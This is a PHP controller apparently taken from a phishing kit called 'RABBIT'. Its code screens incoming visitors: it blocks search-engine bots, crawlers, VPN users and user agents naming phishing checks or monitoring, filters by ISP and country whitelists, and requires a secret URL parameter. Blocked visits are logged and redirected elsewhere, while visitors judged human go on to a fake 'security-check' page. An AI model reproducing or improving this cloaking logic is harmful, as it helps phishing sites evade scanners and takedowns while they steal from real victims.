<?php
defined("ALLOW") or exit('No direct script access allowed');

class Home
{
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();
		$getInfo = _geoGet($this->goRABBIT->ip_address);


		foreach ($getInfo as $k => $v) {
			$_SESSION[$k] = $v;
		 }
	}

	public function index()
	{

		if (preg_match("/bot|crawler|spider|aws|curl|slurp|phish|search|libwww-perl|python|archiver|transcoder|spider|uptime|validator|fetcher|cron|check|reader|extractor|monitoring|analyz/", $_SERVER['HTTP_USER_AGENT'])) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (_config('VPNDETECT') == 'on') {
			if (RABBITGO($this->goRABBIT->ip_address)) {
				write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|VPN BLOCKED\r\n");
				write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|VPN BLOCKED\r\n");
				_blocks();
				redirect(uriRand());
			} else if (blackbox($this->goRABBIT->ip_address)) {
				write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|VPN BLOCKED\r\n");
				write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|VPN BLOCKED\r\n");
				_blocks();
				redirect(uriRand());
			}
		}


		if (_config('FILTERISP') == 'on') {
			loadWhitelist($file);
			$wl = loadWhitelist(FCPATH . 'RABBIT/Whitelist/allowISP.txt');
			$accessAllowed = false;
			foreach ($wl as $allowedISP) {
				if (stripos($_SESSION['isp'], $allowedISP) !== false) {
					$accessAllowed = true;
					break;
				}
			}
			if (!$accessAllowed) {
				write(FCPATH . 'RABBIT/Static/log_isp.txt', 'a', "{$this->goRABBIT->ip_address}|ISP BLOCKED\r\n");
				write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|ISP BLOCKED \r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		if (_config('FILTERCOUNTRY') == 'on') {
			loadWhitelist($file);
			$wx = loadWhitelist(FCPATH . 'RABBIT/Whitelist/allowCounty.txt');
			$accessAllowed = false;
			foreach ($wx as $allowedCountry) {
				if (stripos($_SESSION['country'], $allowedCountry) !== false) {
					$accessAllowed = true;
					break;
				}
			}
			
			if (!$accessAllowed) {
				write(FCPATH . 'RABBIT/Static/log_isp.txt', 'a', "{$this->goRABBIT->ip_address}|COUNTRY BLOCKED\r\n");
				write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|COUNTRY BLOCKED \r\n");
				_blocks();
				redirect(uriRand());
			}
		}

		if ($this->goRABBIT->is_robot) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (!isset($_GET[_config('PARAMETER')])) {
			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
			_blocks();
			redirect(uriRand());
		}

		if (_config('BLOCKER') == 'on') {
			if (!empty(FMSINI('TOKEN'))) {
				if (RABBITBLOCKER($this->goRABBIT->ip_address, 'googlebot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RABBITBLOCKER($this->goRABBIT->ip_address, 'bingbot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RABBITBLOCKER($this->goRABBIT->ip_address, 'applebot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RABBITBLOCKER($this->goRABBIT->ip_address, 'yahooslurp')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				} else if (RABBITBLOCKER($this->goRABBIT->ip_address, 'yandexbot')) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY RABBIT\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY RABBIT\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		if (_config('BOTBLOCKER') == 'on') {
			if (!empty(_botblocker('KEY'))) {
				if (botblocker($this->goRABBIT->ip_address, $this->goRABBIT->agent)) {
					write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}|BLOCKED BY BOTBLOCKER\r\n");
					write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|BLOCKED BY BOTBLOCKER\r\n");
					_blocks();
					redirect(uriRand());
				}
			}
		}

		$_SESSION['access'] = 1;
		write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|HUMAN \r\n");
		redirect(base_url() . 'security-check/alert?verify=rbt_' . rand(109, 100000) . '');
	}
}